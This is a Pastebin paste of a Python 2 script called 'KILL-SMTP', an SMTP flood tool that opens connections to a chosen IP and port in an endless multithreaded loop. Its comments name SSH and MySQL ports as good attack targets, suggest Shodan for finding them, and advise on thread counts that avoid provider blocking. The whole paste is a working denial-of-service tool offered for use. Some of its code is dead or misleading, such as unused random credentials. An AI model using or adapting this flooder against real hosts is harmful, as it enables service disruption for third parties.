Advertisement
scaredkys

SMTP Abuse PoC | KILL-SMTP Method

Dec 6th, 2019
2,388
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.78 KB | None | 0 0
  1. # SMTP Abuse PoC | Example Code | KILL-SMTP from SecurityTeam
  2. # This works/affects any port where the server returns a Banner (specifically containing OS Information)
  3. # Best results with 1 or 100 threads, anything after that gets blocked by OVH/NFO and other providers
  4. # Reports for abuse on source port 25 are common since you are abusing SMTP
  5. # Port: 22/SSH
  6. # Port: 3306/MySQL
  7. # Good ports for attacking//Common open ports
  8. # shodan.io to search for ports returning banners
  9. # Stop Attack with Ctrl^Z on Linux | Close Python on Windows
  10. # Usage: python script.py ip port threads
  11. import smtplib
  12. import argparse
  13. import random
  14. import time
  15. import threading
  16. import os
  17.  
  18. def main():
  19.     try:
  20.         while 1:
  21.             try:
  22.                 user = str(random.random())
  23.                 passw = str(random.random())
  24.                 print 'packet sent'
  25.                 smtplib.SMTP(attacked)
  26.  
  27.             except KeyboardInterrupt:
  28.                 print 'exiting script'
  29.                 exit()
  30.  
  31.             except:
  32.                 pass
  33.  
  34.     except KeyboardInterrupt:
  35.         print 'exit thread'
  36.         exit()
  37.  
  38. if __name__ == '__main__':
  39.     try:
  40.         parser = argparse.ArgumentParser(
  41.         description="SMTP Flood | SmallDoink#0666"
  42.         )
  43.  
  44.         parser.add_argument('ip', help="ip to attack")
  45.         parser.add_argument('port', help='port')
  46.         parser.add_argument('thread', help='threads')
  47.         arguments = parser.parse_args()
  48.  
  49.         ip = arguments.ip
  50.         p = str(arguments.port)
  51.         t = int(arguments.thread)
  52.         attacked = ip+':'+p
  53.  
  54.         print 'settings loaded, starting flood loop | exit Ctrl^Z or Ctrl^C'
  55.  
  56.         for i in range(t):
  57.             threading.Thread(target=main).start()
  58.  
  59.     except KeyboardInterrupt:
  60.         exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement